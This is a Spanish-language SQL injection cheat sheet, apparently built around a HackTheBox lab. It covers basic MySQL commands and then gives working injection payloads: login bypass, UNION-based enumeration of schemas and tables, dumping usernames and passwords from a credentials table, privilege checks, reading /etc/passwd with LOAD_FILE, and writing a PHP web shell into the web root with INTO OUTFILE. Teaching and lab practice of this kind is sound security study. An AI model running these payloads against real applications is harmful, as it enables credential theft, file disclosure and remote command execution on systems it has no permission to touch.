Secciones
1. Introducción
Hoy vamos a sumergirnos en los cimientos de las Inyecciones SQL: veremos desde los comandos más comunes de MySQL hasta las tácticas básicas para explotar vulnerabilidades, siempre con ejemplos prácticos que podréis probar.
2. Herramientas y comandos básicos de MySQL
Antes de ponernos manos a la obra con inyecciones, es esencial dominar el uso de MySQL por línea de comandos. A continuación tenéis una lista de comandos imprescindibles.
2.1. Conexión y navegación entre bases de datos
mysql -u root -h docker.hackthebox.eu -P 3306 -p
Inicia sesión en el servidor MySQL.
SHOW DATABASES;
Muestra todas las bases de datos disponibles.
USE users;
Cambia el contexto a la base de datos users
.
2.2. Gestión de tablas
CREATE TABLE logins (id INT, ...);
Crea una nueva tabla llamada logins
.
SHOW TABLES;
Lista las tablas existentes en la base de datos activa.
DESCRIBE logins;
Muestra la estructura y columnas de la tabla logins
.
DROP TABLE logins;
Elimina la tabla logins
del esquema.
ALTER TABLE logins ADD newColumn INT;
Agrega una nueva columna newColumn
de tipo entero.
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
Renombra newColumn
a oldColumn
.
ALTER TABLE logins MODIFY oldColumn DATE;
Cambia el tipo de datos de oldColumn
a DATE
.
ALTER TABLE logins DROP oldColumn;
Elimina la columna oldColumn
.
2.3. Inserción y actualización de datos
INSERT INTO table_name VALUES (value_1, ...);
Añade una fila completa a la tabla.
INSERT INTO table_name(column2, ...) VALUES (column2_value, ...);
Inserta valores solo en columnas específicas.
UPDATE table_name SET column1 = newvalue1, ... WHERE <condition>;
Modifica datos existentes según una condición.
2.4. Selección y filtrado
SELECT * FROM table_name;
Recupera todas las columnas de la tabla.
SELECT column1, column2 FROM table_name;
Obtiene solo las columnas column1
y column2
.
SELECT * FROM logins WHERE username LIKE 'admin%';
Filtra filas cuyo username
empiece por admin
.
SELECT * FROM logins ORDER BY column_1;
Ordena los resultados según column_1
(ascendente por defecto).
SELECT * FROM logins ORDER BY column_1 DESC;
Ordena column_1
en orden descendente.
SELECT * FROM logins ORDER BY column_1 DESC, id ASC;
Ordena por column_1
(desc) y después por id
(asc).
SELECT * FROM logins LIMIT 2;
Devuelve solo los dos primeros registros.
SELECT * FROM logins LIMIT 1, 2;
Muestra dos resultados, empezando desde el índice 1.
2.5. Precedencia de operadores en MySQL
- División (
/
), Multiplicación (*
), Módulo (%
) - Suma (
+
), Resta (-
) - Comparaciones (
=
,>
,<
,<=
,>=
,!=
,LIKE
) - Negación (
!
) - AND lógico (
&&
) - OR lógico (
||
)
3. Introducción a la Inyección SQL
La Inyección SQL consiste en introducir código malicioso en las consultas que una aplicación envía a la base de datos. Veamos las técnicas más habituales.
3.1 Omisión de autenticación
Manipulando el parámetro de usuario/contraseña, podemos forzar que la condición siempre sea verdadera:
admin' or '1'='1
O bien usando comentarios para truncar el resto de la consulta:
admin')-- -
3.2 Inyección con UNION
Esta táctica aprovecha UNION
para concatenar los resultados de una consulta maliciosa a la original.
- Averiguar número de columnas:
' order by 1-- -
cn' UNION select 1,2,3-- -
- Extraer versión y datos:
cn' UNION select 1,@@version,3,4-- -
- Obtener campos de otra tabla:
UNION select username, 2, 3, 4 from passwords-- -
3.3 Enumeración de la base de datos
Identifica información clave del sistema y esquemas internos:
SELECT @@version;
SELECT SLEEP(5);
Saca el nombre de la base activa:
cn' UNION select 1,database(),2,3-- -
Listar todas las bases:
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Tablas de un esquema:
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Columnas de una tabla:
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Volcar datos concretos:
cn' UNION select 1, username, password, 4 from dev.credentials-- -
3.4 Privilegios de usuario
Determina el contexto de permisos del usuario:
cn' UNION SELECT 1, user(), 3, 4-- -
Comprueba si tiene privilegios de superusuario:
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
Listado completo de privilegios:
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
Variables globales:
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
3.5 Inyección de archivos
Por último, la inyección en los subsistemas de archivos de MySQL permite leer o escribir ficheros:
- Leer
/etc/passwd
:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
- Escribir un texto:
select 'file written successfully!' into outfile '/var/www/html/proof.txt';
- Desplegar un web shell:
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -